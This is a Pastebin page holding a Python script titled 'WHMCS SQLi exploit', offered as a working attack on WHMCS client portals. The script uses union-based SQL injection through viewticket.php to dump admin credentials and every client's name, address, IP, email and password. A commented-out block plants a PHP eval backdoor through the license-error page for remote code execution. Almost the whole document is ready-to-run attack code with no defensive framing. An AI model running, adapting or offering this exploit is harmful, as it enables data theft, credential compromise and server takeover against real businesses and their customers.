MLT

Python - WHMCS SQLi exploit

MLT
Nov 10th, 2013
665
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.38 KB | None | 0 0
  1. url = 'http://client.target.com/'
  2.  
  3. import urllib, re, sys
  4. from urllib2 import Request, urlopen
  5. ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
  6.  
  7. def exploit(sql):
  8.     sqlUnion = '-1 union select 1,0,0,0,0,0,0,0,0,0,0,%s,0,0,0,0,0,0,0,0,0,0,0#' % sql
  9.     print "Doing stuff: %s" % sqlUnion
  10.     #you could exploit any file that does a select, I randomly chose viewticket.php
  11.     r = urlopen(Request('%sviewticket.php' % url, data="tid[sqltype]=TABLEJOIN&tid[value]=%s" % sqlUnion, headers={"User-agent": ua})).read()
  12.     return re.search(r'<div class="clientmsg">(.*?)</div>', r, re.DOTALL).group(1).strip()
  13.  
  14. #get admins
  15. print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)')
  16.  
  17. #get users
  18. count = int(exploit('(SELECT COUNT(id) FROM tblclients)'))
  19. print "User count %d" % count
  20. for i in range(count): 
  21.     print exploit('(SELECT CONCAT(id,0x3a,firstname,0x3a,lastname,0x3a,address1,0x3a,address2,0x3a,city,0x3a,country,0x3a,ip,0x3a,email,0x3a,password) FROM tblclients LIMIT %d,1)' % i)
  22.  
  23. #are you evil? yes, you are!
  24. #php = "1';eval($_REQUEST['lol_whmcs']);#"
  25. #r = urlopen(Request('%sadmin/licenseerror.php?updatekey=true&whitelisted=1&newlicensekey=%s&match=1&username[sqltype]=TABLEJOIN&username[value]=-1||1=1%%23' % (url, urllib.quote_plus(php)), headers={"User-agent": ua})).read()
Advertisement
Comments
  • Comment was deleted
Add Comment
Please, Sign In to add comment